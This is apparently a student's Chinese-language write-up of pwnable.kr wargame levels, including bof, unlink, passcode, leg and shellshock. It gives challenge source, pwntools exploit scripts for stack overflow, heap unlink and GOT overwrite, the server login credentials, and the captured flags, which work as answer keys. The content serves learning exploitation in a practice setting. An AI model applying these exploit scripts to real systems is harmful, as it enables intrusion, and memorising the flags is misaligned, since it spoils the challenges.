fd

fd是文件描述符,fd=0为标准输入

ssize_t read(int fd,void *buf,size_t nbyte)

read函数从fd中读取内容到buf。

col

构造命令行参数

1
2
3
4
5
6
7
8
from pwn import *

pwn_ssh = ssh(host='pwnable.kr',user='col',password='guest',port=2222)

code = '\xE8\x05\xD9\x1D'+'\x01'*16
cn = pwn_ssh.process(argv=['col',code],executable='./col')

print(cn.recv())

bof

通过栈溢出重写func函数的参数,需要覆盖的参数和gets接受的参数相差13字节:

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

debug=0

context(arch = 'i386', os = 'linux')

if debug:
client=process("/home/apple/calc/test/bof.dms")
else:
client=remote("pwnable.kr",9000)

#print client.recvuntil("overflow me :")

context=""
context+=p32(0xdeadbeef)*13
context+=p32(0xcafebabe)


client.sendline(context)

client.interactive()
pause()

flag

看了半天不知道是咋回事,上网查了wp才知道是upx加壳

脱壳

1
2
3
4
//安装upx
sudo apt-get install upx
//脱壳
upx -d flag.dms

运行脱壳后的程序,flag就在main函数里

random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//源代码
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

就是猜这个随机数是什么呗,c的随机数其实是伪随机数,所以就写个小程序跑一下看 rand() 输出是啥,然后跟0xdeadbeef异或一下。

1
2
3
4
5
//flag
random@prowl:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

这周的期末考试刚考了unlink,所以看着这个眼熟就先拿来做做:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}
目测

题目构造了一个叫tagOBJ的数据结构和一个叫unlink的函数,还有一个叫shell()的函数用来获取sh权限。

漏洞点在于gets函数,可以通过构造gets的值,使得A溢出,覆写B、C的内容为特定值,unlink后运行shell()函数。

思路

咋构造呢

1.首先因为gets的是A->buf,所以只能覆写B、C的fd、bk,不能覆写A的。

2.然后再看看什么函数能被利用,没找到got表里的函数,看来只能利用return了

3.然后一句句看这个unlink函数

BK=P->bk;

所以要构造B的偏移4字节的位置为shell()函数的地址

FD=P->fd;

所以B的偏移0字节的位置为return的地址-4

FD->bk=BK;
return的地址处的内容改为shell()的地址

实现

首先找到main函数返回地址为0xffffd00c

shell函数的地址位于0x080484eb

运行过程中感觉内存分配跟我算的不太一样,于是一步步看内存分配

第一次malloc

malloc A

malloc B

malloc C

A <-> B <-> C链接完成后

gets()完后

所以因为内存对齐,buf并非占8个字节,而是16字节。

脚本0.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

debug=1
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
client=process("./unlink")
else:
client = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222).process("./unlink")

bin = ELF('./unlink')

context=""
context+="11111111"*2
context+=p32(0xffffd00c-4) #栈中的main返回地址-4
context+=p32(0x080484f1) #shell()地址


client.sendline(context)

client.interactive()
pause()

然而不行

借鉴

自己怎么想都感觉思路没问题,但是看了网上的wp才知道自己完全跑偏了。

首先,栈地址和堆地址都是随机的(可是gdb每次跑出来的都是一样的,给我一种它不会变的错觉),所以要通过偏移来算真正的地址(这就是题目里两句printf的作用,泄露了堆栈地址)。

其次,leave和return之间有一句 lea esp , [ecx - 4],而ecx是从leave上面那句 mov ecx , dword ptr [ebp - 4]来的

然后return

A的栈地址是0xffffcfe4

和ebp-4相差16

脚本1.0

因为经过了一层ecx,所以应该为shell()的地址找一个存放它的地方,网上的wp是存在A里的,我就存在B里试试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

debug=1
context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
if debug:
client=process("./unlink")
else:
client = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222).process("./unlink")

#gdb.attach(client)


client.recvuntil("here is stack address leak: ");
stack =int( client.recv(10),16);
client.recvuntil("here is heap address leak: ");
heap = int(client.recv(10),16);

context=""

context+="1111"*4
context+=p32(stack+16-4)
context+=p32(heap+8+24+4)
context+=p32(0x080484eb) #shell() address
print(context)

client.sendline(context)

client.interactive()
pause()

一口气写完,居然就跑通了)

1
2
//flag
conditional_write_what_where_from_unl1nk_explo1t

现在回头看看第一版脚本,真是,幼稚又朴素啊。

思路1.1

做完之后在想我可不可以不借助堆,直接一步到位把shell地址填进去呢

调试后发现不行,错误出现在 unlink() 的 BK->fd=FD;,也就是说 shell() 所在的地址段是不可写的,所以程序运行不下去了。

看一下map,果然是不可写的。

问题

做完之后在思考一个很傻的问题,代码存的时候是按ABC的顺序存的,但是为什么栈里的却是ACB?嗯?是因为什么奇怪的编译吗?为什么啊

自己编译一遍试验一下,ABC却乖乖地排排队进栈了。

1
gcc -m32 unlink_test.c -o unlink_test

后记

期末考试虽然考了unlink,自己也感觉懂了其中的原理,但做起题来才感觉自己简直,对不住徐老师给的分,堆栈是随机分配的、内存对齐这些点都要注意,感觉自己缺了好多好多好多知识,哎,加油。

还有就是做这道题的两天里,我的ubuntu莫名崩了而且崩得稀碎,开机都开不起来了,于是从github重新上下载了一个,五颜六色的,比我之前自己配的那个还好看,算是塞翁失马。

passcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//源代码

# include <stdio.h>

# include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
​ fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
​ system("/bin/cat flag");
​ }
else{
printf("Login Failed!\n");
exit(0);
​ }
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

​ welcome();
​ login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

目测

漏洞点在login函数里的两处scanf,这两处scanf都没有取参数地址。

思路

通过welcome函数里的scanf,在login函数的passcode1位置写入exit/fflush/任意一个用到的函数的got表的值,然后通过scanf将其覆写为/bin/cat flag的地址。

实现

/bin/cat flag的地址:

got表,打算利用最近的fflush函数,地址为0x0804a004:

定位password1的位置,位于welcome的name里第96字节处。

脚本1.0

根据以上思路构造以下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

debug=1
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
client=process("/home/apple/calc/test/passcode")
else:
client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")

print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")
#print client.recvuntil("enter you name : ")

context=""
context+="11111111"*12
context+=p32(0x0804a004)
client.sendline(context)
#print client.recvuntil("enter passcode1 : \n")
context=""
context+=
client.sendline(context)
#print client.recvuntil("enter passcode2 : \n")

client.interactive()
pause()

就是跑不通,一度以为是参数没传进去:(

借鉴

在网上找了别人的wp,才发现关键在于passcode1是int类型,所以把passcode改为10进制才行。

脚本1.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

debug=0
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
client=process("/home/apple/calc/test/passcode")
else:
client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")
print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")
#print client.recvuntil("enter you name : ")

context=""
context+="11111111"*12
context+=p32(0x0804a004)
client.sendline(context)
#print client.recvuntil("enter passcode1 : \n")
context="134514147"
client.sendline(context)
#print client.recvuntil("enter passcode2 : \n")

client.interactive()
pause()

成功!

1
2
//flag
Sorry mom.. I got confused about scanf usage :(

改进

看别人的wp学到一种新操作,不用手查got表了

1
2
bin = ELF('./passcode')
cn.sendline('a'*96+p32(bin.got['fflush']))

脚本1.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

debug=0
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
client=process("/home/apple/calc/test/passcode")
else:
client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")
print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")
#print client.recvuntil("enter you name : ")
bin = ELF('./passcode')
context=""
context+="11111111"*12
context+=p32(bin.got['fflush'])
client.sendline(context)
#print client.recvuntil("enter passcode1 : \n")
context="134514147"
client.sendline(context)
client.interactive()
pause()

思路2.0

本题有两处没有取参数地址的scanf,虽然只利用了第一处就可以把题目做出来了,但是出题人原本的意思可能是想让做题人将两个passcode都改为正确的值,然后成功通过判断语句拿到flag。

仔细算了一下,name位于ebp-0x70,而password1位于ebp-0x10:

password2位于ebp-0xc:

name有100(0x64)字节长,正好覆盖password1而覆盖不到password2。

所以俩scanf都用起来可能不太现实。

问题

不知道为什么脚本接受不到”enter you name : “以及之后的字符串,不过接受不到也不影响做题:)

leg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//源代码
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)

分析

scp居然下载不下来,看来只能瞪眼看了。

题目让key的值最终等于key1() key2() key3()这仨函数的返回值之和

key1

(ARM用r0传递返回值,pc指向当前指令(正在执行)+2*(指令长度)处)

返回值r0来自于r3

r3的值来自于pc

寄存器pc(r15)在arm状态下(指令长度为4,RISC等长指令集),总是指向当前指令(正在执行)+2*(指令长度)处,这里执行了0x00008cdc后,r3为0x00008ce4。

key2

(指令最后一位用于做标志位,bx跳转时if地址最后一位是0->arm状态(4字节指令),1->thumb状态(2字节指令))

r0来自于r3

r3 = pc(0x00008d08)+2*2=0x00008d0c

注意:

  1. key2+8处程序一开始保存了r6,则说明r6会被后面的指令用到。
  2. key2+12处r6变为0x00008d05。
  3. key2+16处bx跳转到key+20(指令地址会先和0xFFFFFFFE进行按位与,因为最后一位肯定是0,因此最后一位用于做标志位,bx执行时如果地址最后一位是0,表示跳到arm状态,1则跳到thumb态),因为地址最低位是1,所以切换为thumb状态。(thumb状态每条指令是2字节长,arm状态每条指令是4字节长)。
  4. 最后把r3给r0作为返回值,也就是0x00008d0c。此后通过bx跳回main(此前bl指令将pc-4存在lr中)时,状态又换为arm。
key3

(LR保存调用函数时PC下一次要执行的地址)

r0来自于r3

r3 来自于lr

此处lr是0x00008d7c <+64>: bl 0x8d20 <key3>处pc-4的地址0x00008d80

注意:

ARM是三级流水线的:取指,译码,执行。

ARM的R15(PC)总是指向取指的地方(不过分析时我们总是以执行作为分析参考点)。

而LR指向PC下一次要执行的地址

LR is link register used to hold the return address for a function call.

PC和LR关系如下图所示

key

0x00008d80+0x00008d0c+0x00008ce4=108400

学习

X86是复杂指令集(CISC)的代表,而ARM则是精简指令集(RISC)的代表

平时一般用的都是X86

但这些背是背不过了,还是考察搜索引擎的使用呗。

shellshock

1
2
3
4
5
6
7
8
//源代码
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

题目里写着

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)

那你可赌输了:)

查资料

搜到一篇写得特别好玩的shellshock原理

做题

目录里有个bash,是要攻击的对象(做了半天才意识到这一点)

查看该bash的版本,正好是有漏洞的4.2版本

尝试一下,发现存在任意代码执行漏洞

执行cat flag,拿到flag

1
2
//flag
only if I knew CVE-2014-6271 ten years ago..!!

不过说实话,拿到flag后我也不知道这个flag是怎么拿到的。

在网上搜了一下suid euid ruid的知识,没找到写得明明白白的。

我理解的就是,如果这个文件的权限用s替代x的话,那么其他用户就可以 通过set suid的方式来获取该文件所有者的权限 / 通过set sgid的方式来获取该文件所在组的权限,并用获取的权限来执行文件。

对于本题来说,查看一下文件的权限,可以看到文件shellshock所在组的权限里有s。

然后回看代码

1
2
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());

程序把该进程的ruid、euid、suid统统设成了getegid()也就是shellshock_pwn这个组的id,

而shellshock_pwn这个组对flag有read权限。

问题

按理说env和export应该都可以用来定义export的环境变量,但是实际上env并不可以